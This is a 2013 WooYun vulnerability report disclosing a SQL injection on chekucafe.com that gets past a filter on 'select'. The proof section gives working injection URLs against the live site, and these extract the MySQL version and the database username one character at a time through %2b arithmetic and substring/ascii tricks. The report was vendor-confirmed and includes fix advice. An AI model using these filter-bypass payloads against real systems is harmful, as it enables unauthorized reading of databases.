当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-027863

漏洞标题:绕过车库咖啡SQL防注入逻辑继续注射(经典注射+表达式判断技巧)

相关厂商:chekucafe.com

漏洞作者: 吴钩霜雪明

提交时间:2013-07-05 16:07

修复时间:2013-08-19 16:08

公开时间:2013-08-19 16:08

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-07-05: 细节已通知厂商并且等待厂商处理中
2013-07-06: 厂商已经确认,细节仅向厂商公开
2013-07-16: 细节向核心白帽子及相关领域专家公开
2013-07-26: 细节向普通白帽子公开
2013-08-05: 细节向实习白帽子公开
2013-08-19: 细节向公众公开

简要描述:

虽然过滤了select 但是...

详细说明:

虽然过滤了select 但是用%2b配合mysql内置函数一样可以注入

漏洞证明:

正常情况下访问如下
http://www.chekucafe.com/content_cygs.php?NID=240

1.png


http://www.chekucafe.com/content_cygs.php?NID=235%2b(substring(@@version,1,1))

2.png

返回页面正常,说明版本以5开头
http://www.chekucafe.com/content_cygs.php?NID=239%2b(substring(@@version,3,1))

3.png

返回页面正常,说明版本是5.1
http://www.chekucafe.com/content_cygs.php?NID=234%2b(substring(@@version,5,1))

4.png

返回页面正常,说明版本是5.1.6
同样的方法可以测出其他系统变量,包括@@basedir等等
系统变量测试方法演示完毕
-------------------------华丽的分割线---------------------------
现在开始测用户名
http://www.chekucafe.com/content_cygs.php?NID=239%2bsubstring(ascii(substring(user(),1,1)),1,1)

5.png


于是用户名第一个字母的ascii码第一位是1
图太多 我就略了直接写结果吧
http://www.chekucafe.com/content_cygs.php?NID=239%2bsubstring(ascii(substring(user(),1,1)),2,1)
用户名第一个字母的ascii码第二位是1
http://www.chekucafe.com/content_cygs.php?NID=237%2bsubstring(ascii(substring(user(),1,1)),3,1)
用户名第一个字母的ascii码第三位是3
综上,113是q
继续测第二个字母……
http://www.chekucafe.com/content_cygs.php?NID=239%2bsubstring(ascii(substring(user(),2,1)),1,1)
用户名第二个字母的ascii码第一位是1
用户名第二个字母的ascii码第二位是0
用户名第二个字母的ascii码第二位是9
109是m
其他省略……
大概过程就是这样
------------------------------华丽的分割线-----------------------------
其实就是想说它的过滤方法根本不治本
要想利用是完全可以的 只是得根据实际情况自己用函数来构造语句

修复方案:

不要用过滤的方法了,直接类型转换或者存储过程吧

版权声明:转载请注明来源 吴钩霜雪明@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-07-06 12:06

厂商回复:

多谢! 正在修补!

最新状态:

暂无